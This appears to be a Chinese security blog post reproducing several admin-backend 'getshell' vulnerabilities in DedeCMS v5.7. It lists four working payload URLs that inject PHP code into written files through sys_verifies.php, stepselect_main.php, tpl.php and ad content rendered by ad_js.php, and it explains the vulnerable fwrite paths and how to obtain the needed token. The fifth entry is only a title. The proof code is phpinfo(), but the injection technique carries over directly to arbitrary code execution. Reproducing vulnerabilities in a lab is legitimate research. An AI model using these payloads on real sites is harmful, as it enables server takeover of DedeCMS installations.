Dedecms后台getshell漏洞集合

前言

复现Dedecms v5.7后台geshell漏洞感觉比以前轻松了,估计难得框架接触多了。QAQ…
该cms中还有多出后台getshell这里就列几个比较有意思的。

漏洞成因

dedecms后台存在多处fwrite函数导致getshell

payload[1]

payload:http://127.0.0.1/cms/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[]=\\%22;phpinfo();//

refiles[]变量虽被addslashes转义,但foreach中对$filename substr截取
写入filenamemodifytmp.inc文件中

modifytmp.inc文件内容

加载的模板文件调用变量$doneStr写入路径指向sys_verifies.php?action=down&curfile=0
跟进action=down操作,require_once包含modifytmp.inc执行代码

Payload[2]

payload: 127.0.0.1/cms/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=233&issign=1&egroup=;phpinfo();$

http://127.0.0.1/cms/dedecms/uploads/data/enums/;phpinfo();$.php

/dede/stepselect_main.php下WriteEnumsCache方法执行对$egroup变量缓存下入操作

缓存文件名:$cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; => /enums/;phpinfo();$.php
fwrite写入操作对$egroup变量进行拼接,'$em_'.';phpinfo();$'.'s';

payload[3]

payload3:http://127.0.0.1/cms/dedecms/uploads/dede/tpl.php?action=savetagfile&token=[你的Token]&filename=od0d.lib.php&content=%3C?php%20phpinfo();?%3E

$content = stripslashes($content);对文件内容进行处理
stripslashes() 函数删除由addslashes() 函数添加的反斜杠,不影响文件内容.

token值获取,可以全局搜下哪里生成$_SESSION['token'],恰巧action=upload执行之后会生成token。访问复制token即可

http://127.0.0.1/cms/dedecms/uploads/dede/tpl.php?action=savetagfile&token=5410054b6a79c4ffaa65fa83b5929478&filename=od0d.lib.php&content=%3C?php%20phpinfo();?%3E

payload[4]

payload:http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1

该payload下会将数据库中获取的内容写入js中,并include
提取数据库数据是通过/dede/ad_add.php广告添加之后获取

首先添加广告内容/dede/ad_add.php,可以使用文件监控查看内容变化.在所有可以输入的地方添加--><?php phpinfo(); ?>

http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1

payload[5]

DedeCMS后台getshell(白名单)

参考链接

https://mochazz.github.io


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!